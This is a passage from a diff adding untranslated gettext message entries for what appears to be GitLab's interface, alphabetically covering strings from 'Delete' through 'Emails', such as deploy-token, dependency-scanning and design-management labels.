+
+msgid "Delete"
+msgstr ""
+
+msgid "Delete %{issuableType}"
+msgstr ""
+
+msgid "Delete %{name}"
+msgstr ""
+
+msgid "Delete Comment"
+msgstr ""
+
+msgid "Delete Value Stream"
+msgstr ""
+
+msgid "Delete account"
+msgstr ""
+
+msgid "Delete artifacts"
+msgstr ""
+
+msgid "Delete badge"
+msgstr ""
+
+msgid "Delete comment"
+msgstr ""
+
+msgid "Delete domain"
+msgstr ""
+
+msgid "Delete label"
+msgstr ""
+
+msgid "Delete label: %{label_name} ?"
+msgstr ""
+
+msgid "Delete pipeline"
+msgstr ""
+
+msgid "Delete project"
+msgstr ""
+
+msgid "Delete project. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Delete serverless domain?"
+msgstr ""
+
+msgid "Delete snippet"
+msgstr ""
+
+msgid "Delete snippet?"
+msgstr ""
+
+msgid "Delete source branch"
+msgstr ""
+
+msgid "Delete subscription"
+msgstr ""
+
+msgid "Delete this attachment"
+msgstr ""
+
+msgid "Delete this epic and all descendants?"
+msgstr ""
+
+msgid "Delete user list"
+msgstr ""
+
+msgid "Delete variable"
+msgstr ""
+
+msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
+msgstr ""
+
+msgid "DeleteProject|Failed to remove project snippets. Please try again or contact administrator."
+msgstr ""
+
+msgid "DeleteProject|Failed to remove some tags in project container registry. Please try again or contact administrator."
+msgstr ""
+
+msgid "DeleteProject|Failed to remove wiki repository. Please try again or contact administrator."
+msgstr ""
+
+msgid "DeleteProject|Failed to restore project repository. Please contact the administrator."
+msgstr ""
+
+msgid "DeleteProject|Failed to restore wiki repository. Please contact the administrator."
+msgstr ""
+
+msgid "DeleteValueStream|'%{name}' Value Stream deleted"
+msgstr ""
+
+msgid "DeleteValueStream|Are you sure you want to delete the \"%{name}\" Value Stream?"
+msgstr ""
+
+msgid "DeleteValueStream|Delete %{name}"
+msgstr ""
+
+msgid "Deleted"
+msgstr ""
+
+msgid "Deleted Projects"
+msgstr ""
+
+msgid "Deleted chat nickname: %{chat_name}!"
+msgstr ""
+
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
+msgstr ""
+
+msgid "Deleting"
+msgstr ""
+
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests, etc."
+msgstr ""
+
+msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
+msgstr ""
+
+msgid "Denied"
+msgstr ""
+
+msgid "Denied authorization of chat nickname %{user_name}."
+msgstr ""
+
+msgid "Denied domains for sign-ups"
+msgstr ""
+
+msgid "Deny"
+msgstr ""
+
+msgid "Deny access request"
+msgstr ""
+
+msgid "Denylist file"
+msgstr ""
+
+msgid "Dependencies"
+msgstr ""
+
+msgid "Dependencies help page link"
+msgstr ""
+
+msgid "Dependencies|%d additional vulnerability not shown"
+msgid_plural "Dependencies|%d additional vulnerabilities not shown"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Dependencies|%d vulnerability detected"
+msgid_plural "Dependencies|%d vulnerabilities detected"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Dependencies|%{remainingLicensesCount} more"
+msgstr ""
+
+msgid "Dependencies|(top level)"
+msgstr ""
+
+msgid "Dependencies|All"
+msgstr ""
+
+msgid "Dependencies|Based on the %{linkStart}latest successful%{linkEnd} scan"
+msgstr ""
+
+msgid "Dependencies|Component"
+msgstr ""
+
+msgid "Dependencies|Component name"
+msgstr ""
+
+msgid "Dependencies|Dependency path"
+msgstr ""
+
+msgid "Dependencies|Export as JSON"
+msgstr ""
+
+msgid "Dependencies|Job failed to generate the dependency list"
+msgstr ""
+
+msgid "Dependencies|Learn more about dependency paths"
+msgstr ""
+
+msgid "Dependencies|License"
+msgstr ""
+
+msgid "Dependencies|Location"
+msgstr ""
+
+msgid "Dependencies|Location and dependency path"
+msgstr ""
+
+msgid "Dependencies|Packager"
+msgstr ""
+
+msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
+msgstr ""
+
+msgid "Dependencies|The component dependency path is based on the lock file. There may be several paths. In these cases, the longest path is displayed."
+msgstr ""
+
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
+msgid "Dependencies|Toggle vulnerability list"
+msgstr ""
+
+msgid "Dependencies|Unsupported file(s) detected"
+msgstr ""
+
+msgid "Dependencies|Vulnerable components"
+msgstr ""
+
+msgid "Dependency List"
+msgstr ""
+
+msgid "Dependency List has no entries"
+msgstr ""
+
+msgid "Dependency Proxy"
+msgstr ""
+
+msgid "Dependency Scanning"
+msgstr ""
+
+msgid "Dependency proxy"
+msgstr ""
+
+msgid "Dependency proxy URL"
+msgstr ""
+
+msgid "Dependency proxy feature is limited to public groups for now."
+msgstr ""
+
+msgid "DependencyProxy|Toggle Dependency Proxy"
+msgstr ""
+
+msgid "Depends on %d merge request being merged"
+msgid_plural "Depends on %d merge requests being merged"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Deploy"
+msgid_plural "Deploys"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Deploy Keys"
+msgstr ""
+
+msgid "Deploy freezes"
+msgstr ""
+
+msgid "Deploy key was successfully updated."
+msgstr ""
+
+msgid "Deploy keys"
+msgstr ""
+
+msgid "Deploy keys grant read/write access to all repositories in your instance"
+msgstr ""
+
+msgid "Deploy progress not found. To see pods, ensure your environment matches %{linkStart}deploy board criteria%{linkEnd}."
+msgstr ""
+
+msgid "Deploy to..."
+msgstr ""
+
+msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
+msgstr ""
+
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
+msgid "DeployFreeze|Freeze end"
+msgstr ""
+
+msgid "DeployFreeze|Freeze start"
+msgstr ""
+
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
+msgstr ""
+
+msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
+msgstr ""
+
+msgid "DeployFreeze|Time zone"
+msgstr ""
+
+msgid "DeployKeys|+%{count} others"
+msgstr ""
+
+msgid "DeployKeys|Current project"
+msgstr ""
+
+msgid "DeployKeys|Deploy key"
+msgstr ""
+
+msgid "DeployKeys|Enabled deploy keys"
+msgstr ""
+
+msgid "DeployKeys|Error enabling deploy key"
+msgstr ""
+
+msgid "DeployKeys|Error getting deploy keys"
+msgstr ""
+
+msgid "DeployKeys|Error removing deploy key"
+msgstr ""
+
+msgid "DeployKeys|Expand %{count} other projects"
+msgstr ""
+
+msgid "DeployKeys|Grant write permissions to this key"
+msgstr ""
+
+msgid "DeployKeys|Loading deploy keys"
+msgstr ""
+
+msgid "DeployKeys|No deploy keys found. Create one with the form above."
+msgstr ""
+
+msgid "DeployKeys|Privately accessible deploy keys"
+msgstr ""
+
+msgid "DeployKeys|Project usage"
+msgstr ""
+
+msgid "DeployKeys|Publicly accessible deploy keys"
+msgstr ""
+
+msgid "DeployKeys|Read access only"
+msgstr ""
+
+msgid "DeployKeys|You are going to remove this deploy key. Are you sure?"
+msgstr ""
+
+msgid "DeployTokens|Active Deploy Tokens (%{active_tokens})"
+msgstr ""
+
+msgid "DeployTokens|Add a deploy token"
+msgstr ""
+
+msgid "DeployTokens|Allows read access to the package registry."
+msgstr ""
+
+msgid "DeployTokens|Allows read-only access to registry images."
+msgstr ""
+
+msgid "DeployTokens|Allows read-only access to the repository."
+msgstr ""
+
+msgid "DeployTokens|Allows write access to registry images."
+msgstr ""
+
+msgid "DeployTokens|Allows write access to the package registry."
+msgstr ""
+
+msgid "DeployTokens|Copy deploy token"
+msgstr ""
+
+msgid "DeployTokens|Copy username"
+msgstr ""
+
+msgid "DeployTokens|Create deploy token"
+msgstr ""
+
+msgid "DeployTokens|Created"
+msgstr ""
+
+msgid "DeployTokens|Deploy tokens"
+msgstr ""
+
+msgid "DeployTokens|Deploy tokens allow access to packages, your repository, and registry images."
+msgstr ""
+
+msgid "DeployTokens|Expires"
+msgstr ""
+
+msgid "DeployTokens|Group deploy tokens allow access to the packages, repositories, and registry images within the group."
+msgstr ""
+
+msgid "DeployTokens|Name"
+msgstr ""
+
+msgid "DeployTokens|Pick a name for your unique deploy token."
+msgstr ""
+
+msgid "DeployTokens|Revoke"
+msgstr ""
+
+msgid "DeployTokens|Revoke %{name}"
+msgstr ""
+
+msgid "DeployTokens|Scopes"
+msgstr ""
+
+msgid "DeployTokens|This %{entity_type} has no active Deploy Tokens."
+msgstr ""
+
+msgid "DeployTokens|This action cannot be undone."
+msgstr ""
+
+msgid "DeployTokens|This username supports access. %{link_start}What kind of access?%{link_end}"
+msgstr ""
+
+msgid "DeployTokens|Unless you enter a date, the token does not expire."
+msgstr ""
+
+msgid "DeployTokens|Unless you specify a username, it is set to \"gitlab+deploy-token-{n}\"."
+msgstr ""
+
+msgid "DeployTokens|Use this token as a password. Save it. This password can %{i_start}not%{i_end} be recovered."
+msgstr ""
+
+msgid "DeployTokens|Username"
+msgstr ""
+
+msgid "DeployTokens|Your new Deploy Token username"
+msgstr ""
+
+msgid "DeployTokens|Your new group deploy token has been created."
+msgstr ""
+
+msgid "DeployTokens|Your new project deploy token has been created."
+msgstr ""
+
+msgid "Deployed"
+msgstr ""
+
+msgid "Deployed to"
+msgstr ""
+
+msgid "Deployed-after"
+msgstr ""
+
+msgid "Deployed-before"
+msgstr ""
+
+msgid "Deploying to"
+msgstr ""
+
+msgid "Deploying to AWS is easy with GitLab"
+msgstr ""
+
+msgid "Deployment Frequency"
+msgstr ""
+
+msgid "DeploymentFrequencyCharts|%{startDate} - %{endDate}"
+msgstr ""
+
+msgid "DeploymentFrequencyCharts|Date"
+msgstr ""
+
+msgid "DeploymentFrequencyCharts|Deployments"
+msgstr ""
+
+msgid "DeploymentFrequencyCharts|Deployments charts"
+msgstr ""
+
+msgid "DeploymentFrequencyCharts|Something went wrong while getting deployment frequency data"
+msgstr ""
+
+msgid "DeploymentFrequencyCharts|These charts display the frequency of deployments to the production environment, as part of the DORA 4 metrics. The environment must be named %{codeStart}production%{codeEnd} for its data to appear in these charts."
+msgstr ""
+
+msgid "Deployments"
+msgstr ""
+
+msgid "Deployments|%{deployments} environment impacted."
+msgid_plural "Deployments|%{deployments} environments impacted."
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Deployment|API"
+msgstr ""
+
+msgid "Deployment|This deployment was created using the API"
+msgstr ""
+
+msgid "Deployment|canceled"
+msgstr ""
+
+msgid "Deployment|created"
+msgstr ""
+
+msgid "Deployment|failed"
+msgstr ""
+
+msgid "Deployment|running"
+msgstr ""
+
+msgid "Deployment|skipped"
+msgstr ""
+
+msgid "Deployment|success"
+msgstr ""
+
+msgid "Deprioritize label"
+msgstr ""
+
+msgid "Descending"
+msgstr ""
+
+msgid "Describe the goal of the changes and what reviewers should be aware of."
+msgstr ""
+
+msgid "Description"
+msgstr ""
+
+msgid "Description (optional)"
+msgstr ""
+
+msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
+msgstr ""
+
+msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}."
+msgstr ""
+
+msgid "Description template"
+msgstr ""
+
+msgid "Description templates allow you to define context-specific templates for issue and merge request description fields for your project."
+msgstr ""
+
+msgid "Description:"
+msgstr ""
+
+msgid "Descriptive label"
+msgstr ""
+
+msgid "Design Management files and data"
+msgstr ""
+
+msgid "Design repositories"
+msgstr ""
+
+msgid "Design repository"
+msgstr ""
+
+msgid "DesignManagement|%{current_design} of %{designs_count}"
+msgstr ""
+
+msgid "DesignManagement|%{filename} did not change."
+msgstr ""
+
+msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
+msgstr ""
+
+msgid "DesignManagement|Archive design"
+msgstr ""
+
+msgid "DesignManagement|Archive designs"
+msgstr ""
+
+msgid "DesignManagement|Archive selected"
+msgstr ""
+
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgstr ""
+
+msgid "DesignManagement|Cancel changes"
+msgstr ""
+
+msgid "DesignManagement|Cancel comment confirmation"
+msgstr ""
+
+msgid "DesignManagement|Cancel comment update confirmation"
+msgstr ""
+
+msgid "DesignManagement|Click the image where you'd like to start a new discussion"
+msgstr ""
+
+msgid "DesignManagement|Comment"
+msgstr ""
+
+msgid "DesignManagement|Comments you resolve can be viewed and unresolved by going to the \"Resolved Comments\" section below"
+msgstr ""
+
+msgid "DesignManagement|Could not add a new comment. Please try again."
+msgstr ""
+
+msgid "DesignManagement|Could not create new discussion. Please try again."
+msgstr ""
+
+msgid "DesignManagement|Could not update discussion. Please try again."
+msgstr ""
+
+msgid "DesignManagement|Could not update note. Please try again."
+msgstr ""
+
+msgid "DesignManagement|Deselect all"
+msgstr ""
+
+msgid "DesignManagement|Designs"
+msgstr ""
+
+msgid "DesignManagement|Discard comment"
+msgstr ""
+
+msgid "DesignManagement|Download design"
+msgstr ""
+
+msgid "DesignManagement|Error uploading a new design. Please try again."
+msgstr ""
+
+msgid "DesignManagement|Go back to designs"
+msgstr ""
+
+msgid "DesignManagement|Go to next design"
+msgstr ""
+
+msgid "DesignManagement|Go to previous design"
+msgstr ""
+
+msgid "DesignManagement|Keep changes"
+msgstr ""
+
+msgid "DesignManagement|Keep comment"
+msgstr ""
+
+msgid "DesignManagement|Learn more about resolving comments"
+msgstr ""
+
+msgid "DesignManagement|Requested design version does not exist. Showing latest version instead"
+msgstr ""
+
+msgid "DesignManagement|Resolve thread"
+msgstr ""
+
+msgid "DesignManagement|Resolved Comments"
+msgstr ""
+
+msgid "DesignManagement|Save comment"
+msgstr ""
+
+msgid "DesignManagement|Select all"
+msgstr ""
+
+msgid "DesignManagement|The maximum number of designs allowed to be uploaded is %{upload_limit}. Please try again."
+msgstr ""
+
+msgid "DesignManagement|There was an error moving your designs. Please upload your designs below."
+msgstr ""
+
+msgid "DesignManagement|To upload designs, you'll need to enable LFS and have an admin enable hashed storage. %{requirements_link_start}More information%{requirements_link_end}"
+msgstr ""
+
+msgid "DesignManagement|Unresolve thread"
+msgstr ""
+
+msgid "DesignManagement|Upload designs"
+msgstr ""
+
+msgid "DesignManagement|Upload skipped."
+msgstr ""
+
+msgid "DesignManagement|Your designs are being copied and are on their way… Please refresh to update."
+msgstr ""
+
+msgid "DesignManagement|and %{moreCount} more."
+msgstr ""
+
+msgid "Designs"
+msgstr ""
+
+msgid "Destroy"
+msgstr ""
+
+msgid "Detail"
+msgstr ""
+
+msgid "Details"
+msgstr ""
+
+msgid "Details (default)"
+msgstr ""
+
+msgid "Detect host keys"
+msgstr ""
+
+msgid "DevOps Adoption"
+msgstr ""
+
+msgid "DevOps Report"
+msgstr ""
+
+msgid "DevopsAdoption|Add / remove groups"
+msgstr ""
+
+msgid "DevopsAdoption|Add Group"
+msgstr ""
+
+msgid "DevopsAdoption|Add a group to get started"
+msgstr ""
+
+msgid "DevopsAdoption|Adopted"
+msgstr ""
+
+msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
+msgstr ""
+
+msgid "DevopsAdoption|At least 1 MR opened"
+msgstr ""
+
+msgid "DevopsAdoption|At least 1 approval on an MR"
+msgstr ""
+
+msgid "DevopsAdoption|At least 1 deploy"
+msgstr ""
+
+msgid "DevopsAdoption|At least 1 issue opened"
+msgstr ""
+
+msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgstr ""
+
+msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgstr ""
+
+msgid "DevopsAdoption|Confirm remove Group"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
+msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
+msgstr ""
+
+msgid "DevopsAdoption|Feature adoption is based on usage in the last calendar month. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Filter by name"
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
+msgstr ""
+
+msgid "DevopsAdoption|My group"
+msgstr ""
+
+msgid "DevopsAdoption|No filter results."
+msgstr ""
+
+msgid "DevopsAdoption|Not adopted"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Remove Group"
+msgstr ""
+
+msgid "DevopsAdoption|Remove Group from the table"
+msgstr ""
+
+msgid "DevopsAdoption|Runner configured for project/group"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Save changes"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Group adoption data. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
+msgid "Diff content limits"
+msgstr ""
+
+msgid "Diff limits"
+msgstr ""
+
+msgid "Diff view settings"
+msgstr ""
+
+msgid "Difference between start date and now"
+msgstr ""
+
+msgid "DiffsCompareBaseBranch|(HEAD)"
+msgstr ""
+
+msgid "DiffsCompareBaseBranch|(base)"
+msgstr ""
+
+msgid "Diffs|No file name available"
+msgstr ""
+
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
+msgstr ""
+
+msgid "Diffs|Something went wrong while fetching diff lines."
+msgstr ""
+
+msgid "Direct member"
+msgstr ""
+
+msgid "Direction"
+msgstr ""
+
+msgid "Directory name"
+msgstr ""
+
+msgid "Disable"
+msgstr ""
+
+msgid "Disable for this project"
+msgstr ""
+
+msgid "Disable group runners"
+msgstr ""
+
+msgid "Disable public access to Pages sites"
+msgstr ""
+
+msgid "Disable shared runners"
+msgstr ""
+
+msgid "Disable two-factor authentication"
+msgstr ""
+
+msgid "Disabled"
+msgstr ""
+
+msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
+msgstr ""
+
+msgid "Discard"
+msgstr ""
+
+msgid "Discard all changes"
+msgstr ""
+
+msgid "Discard all changes?"
+msgstr ""
+
+msgid "Discard changes"
+msgstr ""
+
+msgid "Discard changes to %{path}?"
+msgstr ""
+
+msgid "Discard draft"
+msgstr ""
+
+msgid "DiscordService|Discord Notifications"
+msgstr ""
+
+msgid "DiscordService|Receive event notifications in Discord"
+msgstr ""
+
+msgid "Discover GitLab Geo"
+msgstr ""
+
+msgid "Discover projects, groups and snippets. Share your projects with others"
+msgstr ""
+
+msgid "Discover|Check your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of services."
+msgstr ""
+
+msgid "Discover|For code that's already live in production, our dashboards give you an easy way to prioritize any issues that are found, empowering your team to ship quickly and securely."
+msgstr ""
+
+msgid "Discover|GitLab will perform static and dynamic tests on the code of your application, looking for known flaws and report them in the merge request so you can fix them before merging."
+msgstr ""
+
+msgid "Discover|Give feedback for this page"
+msgstr ""
+
+msgid "Discover|Security capabilities, integrated into your development lifecycle"
+msgstr ""
+
+msgid "Discover|See the other features of the %{linkStart}ultimate plan%{linkEnd}"
+msgstr ""
+
+msgid "Discover|Start a free trial"
+msgstr ""
+
+msgid "Discover|Upgrade now"
+msgstr ""
+
+msgid "Discuss a specific suggestion or question"
+msgstr ""
+
+msgid "Discuss a specific suggestion or question that needs to be resolved"
+msgstr ""
+
+msgid "Discuss a specific suggestion or question that needs to be resolved."
+msgstr ""
+
+msgid "Discuss a specific suggestion or question."
+msgstr ""
+
+msgid "Discussion to reply to cannot be found"
+msgstr ""
+
+msgid "Disk Usage"
+msgstr ""
+
+msgid "Dismiss"
+msgstr ""
+
+msgid "Dismiss %d selected vulnerability as"
+msgid_plural "Dismiss %d selected vulnerabilities as"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Dismiss DevOps Report introduction"
+msgstr ""
+
+msgid "Dismiss Merge Request promotion"
+msgstr ""
+
+msgid "Dismiss Value Stream Analytics introduction box"
+msgstr ""
+
+msgid "Dismiss merge request promotion"
+msgstr ""
+
+msgid "Dismiss selected"
+msgstr ""
+
+msgid "Dismiss trial promotion"
+msgstr ""
+
+msgid "Dismissable"
+msgstr ""
+
+msgid "Dismissed"
+msgstr ""
+
+msgid "Dismissed at %{projectLink}"
+msgstr ""
+
+msgid "Dismissed on pipeline %{pipelineLink}"
+msgstr ""
+
+msgid "Dismissed on pipeline %{pipelineLink} at %{projectLink}"
+msgstr ""
+
+msgid "Display alerts from all your monitoring tools directly within GitLab."
+msgstr ""
+
+msgid "Display name"
+msgstr ""
+
+msgid "Display rendered file"
+msgstr ""
+
+msgid "Display source"
+msgstr ""
+
+msgid "Do not display offers from third parties within GitLab"
+msgstr ""
+
+msgid "Dockerfile"
+msgstr ""
+
+msgid "Documentation"
+msgstr ""
+
+msgid "Documentation for popular identity providers"
+msgstr ""
+
+msgid "Documentation pages URL"
+msgstr ""
+
+msgid "Documents reindexed: %{processed_documents} (%{percentage}%%)"
+msgstr ""
+
+msgid "Domain"
+msgstr ""
+
+msgid "Domain cannot be deleted while associated to one or more clusters."
+msgstr ""
+
+msgid "Domain denylist"
+msgstr ""
+
+msgid "Domain verification is an essential security measure for public GitLab sites. Users are required to demonstrate they control a domain before it is enabled"
+msgstr ""
+
+msgid "Domain was successfully created."
+msgstr ""
+
+msgid "Domain was successfully deleted."
+msgstr ""
+
+msgid "Domain was successfully updated."
+msgstr ""
+
+msgid "Don't have an account yet?"
+msgstr ""
+
+msgid "Don't include description in commit message"
+msgstr ""
+
+msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
+msgstr ""
+
+msgid "Don't send usage data"
+msgstr ""
+
+msgid "Don't show again"
+msgstr ""
+
+msgid "Done"
+msgstr ""
+
+msgid "Download"
+msgstr ""
+
+msgid "Download %{format}"
+msgstr ""
+
+msgid "Download %{format}:"
+msgstr ""
+
+msgid "Download %{name} artifact"
+msgstr ""
+
+msgid "Download CSV"
+msgstr ""
+
+msgid "Download artifacts"
+msgstr ""
+
+msgid "Download as"
+msgstr ""
+
+msgid "Download codes"
+msgstr ""
+
+msgid "Download evidence JSON"
+msgstr ""
+
+msgid "Download export"
+msgstr ""
+
+msgid "Download image"
+msgstr ""
+
+msgid "Download license"
+msgstr ""
+
+msgid "Download raw data (.csv)"
+msgstr ""
+
+msgid "Download source code"
+msgstr ""
+
+msgid "Download this directory"
+msgstr ""
+
+msgid "DownloadCommit|Email Patches"
+msgstr ""
+
+msgid "DownloadCommit|Plain Diff"
+msgstr ""
+
+msgid "DownloadSource|Download"
+msgstr ""
+
+msgid "Downstream"
+msgstr ""
+
+msgid "Downvotes"
+msgstr ""
+
+msgid "Draft"
+msgstr ""
+
+msgid "Draft merge requests can't be merged."
+msgstr ""
+
+msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgstr ""
+
+msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
+msgstr ""
+
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
+msgid "Drop your designs to start your upload."
+msgstr ""
+
+msgid "Drop your files to start your upload."
+msgstr ""
+
+msgid "Due Date"
+msgstr ""
+
+msgid "Due date"
+msgstr ""
+
+msgid "Duration"
+msgstr ""
+
+msgid "Duration for the last 30 commits"
+msgstr ""
+
+msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
+msgstr ""
+
+msgid "Dynamic Application Security Testing (DAST)"
+msgstr ""
+
+msgid "Edit"
+msgstr ""
+
+msgid "Edit %{issuable}"
+msgstr ""
+
+msgid "Edit %{name}"
+msgstr ""
+
+msgid "Edit Comment"
+msgstr ""
+
+msgid "Edit Deploy Key"
+msgstr ""
+
+msgid "Edit Geo Node"
+msgstr ""
+
+msgid "Edit Group Hook"
+msgstr ""
+
+msgid "Edit Label"
+msgstr ""
+
+msgid "Edit Milestone"
+msgstr ""
+
+msgid "Edit Password"
+msgstr ""
+
+msgid "Edit Pipeline Schedule %{id}"
+msgstr ""
+
+msgid "Edit Release"
+msgstr ""
+
+msgid "Edit Requirement"
+msgstr ""
+
+msgid "Edit Slack integration"
+msgstr ""
+
+msgid "Edit Snippet"
+msgstr ""
+
+msgid "Edit System Hook"
+msgstr ""
+
+msgid "Edit application"
+msgstr ""
+
+msgid "Edit comment"
+msgstr ""
+
+msgid "Edit deploy freeze"
+msgstr ""
+
+msgid "Edit description"
+msgstr ""
+
+msgid "Edit environment"
+msgstr ""
+
+msgid "Edit files in the editor and commit changes here"
+msgstr ""
+
+msgid "Edit fork in Web IDE"
+msgstr ""
+
+msgid "Edit group application"
+msgstr ""
+
+msgid "Edit group: %{group_name}"
+msgstr ""
+
+msgid "Edit identity for %{user_name}"
+msgstr ""
+
+msgid "Edit in Web IDE"
+msgstr ""
+
+msgid "Edit in single-file editor"
+msgstr ""
+
+msgid "Edit inline"
+msgstr ""
+
+msgid "Edit issues"
+msgstr ""
+
+msgid "Edit iteration"
+msgstr ""
+
+msgid "Edit public deploy key"
+msgstr ""
+
+msgid "Edit sidebar"
+msgstr ""
+
+msgid "Edit stage"
+msgstr ""
+
+msgid "Edit this file only."
+msgstr ""
+
+msgid "Edit this release"
+msgstr ""
+
+msgid "Edit title and description"
+msgstr ""
+
+msgid "Edit wiki page"
+msgstr ""
+
+msgid "Edit your most recent comment in a thread (from an empty textarea)"
+msgstr ""
+
+msgid "Edited"
+msgstr ""
+
+msgid "Edited %{timeago}"
+msgstr ""
+
+msgid "Editing"
+msgstr ""
+
+msgid "Editor Lite instance is required to set up an extension."
+msgstr ""
+
+msgid "Elasticsearch AWS IAM credentials"
+msgstr ""
+
+msgid "Elasticsearch HTTP client timeout value in seconds."
+msgstr ""
+
+msgid "Elasticsearch indexing"
+msgstr ""
+
+msgid "Elasticsearch indexing restrictions"
+msgstr ""
+
+msgid "Elasticsearch indexing started"
+msgstr ""
+
+msgid "Elasticsearch reindexing is already in progress"
+msgstr ""
+
+msgid "Elasticsearch reindexing triggered"
+msgstr ""
+
+msgid "Elasticsearch returned status code: %{status_code}"
+msgstr ""
+
+msgid "Elasticsearch zero-downtime reindexing"
+msgstr ""
+
+msgid "Elastic|None. Select namespaces to index."
+msgstr ""
+
+msgid "Elastic|None. Select projects to index."
+msgstr ""
+
+msgid "Email"
+msgstr ""
+
+msgid "Email %{number}"
+msgstr ""
+
+msgid "Email Notification"
+msgstr ""
+
+msgid "Email a new %{name} to this project"
+msgstr ""
+
+msgid "Email address to use for Support Desk"
+msgstr ""
+
+msgid "Email could not be sent"
+msgstr ""
+
+msgid "Email display name"
+msgstr ""
+
+msgid "Email not verified. Please verify your email in Salesforce."
+msgstr ""
+
+msgid "Email notification for unknown sign-ins"
+msgstr ""
+
+msgid "Email patch"
+msgstr ""
+
+msgid "Email restrictions"
+msgstr ""
+
+msgid "Email restrictions for sign-ups"
+msgstr ""
+
+msgid "Email sent"
+msgstr ""
+
+msgid "Email the pipelines status to a list of recipients."
+msgstr ""
+
+msgid "Email updates (optional)"
+msgstr ""
+
+msgid "Email: %{email}"
+msgstr ""
+
+msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
+msgstr ""
+
+msgid "EmailError|The thread you are replying to no longer exists, perhaps it was deleted? If you believe this is in error, contact a staff member."
+msgstr ""
+
+msgid "EmailError|We couldn't figure out what the email is for. Please create your issue or comment through the web interface."
+msgstr ""
+
+msgid "EmailError|We couldn't figure out what the email is in reply to. Please create your comment through the web interface."
+msgstr ""
+
+msgid "EmailError|We couldn't figure out what user corresponds to the email. Please create your comment through the web interface."
+msgstr ""
+
+msgid "EmailError|We couldn't find the project. Please check if there's any typo."
+msgstr ""
+
+msgid "EmailError|You are not allowed to perform this action. If you believe this is in error, contact a staff member."
+msgstr ""
+
+msgid "EmailError|Your account has been blocked. If you believe this is in error, contact a staff member."
+msgstr ""
+
+msgid "EmailParticipantsWarning|%{emails} will be notified of your comment."
+msgstr ""
+
+msgid "EmailParticipantsWarning|%{emails}, %{andMore} will be notified of your comment."
+msgstr ""
+
+msgid "EmailParticipantsWarning|and %{moreCount} more"
+msgstr ""
+
+msgid "Emails"
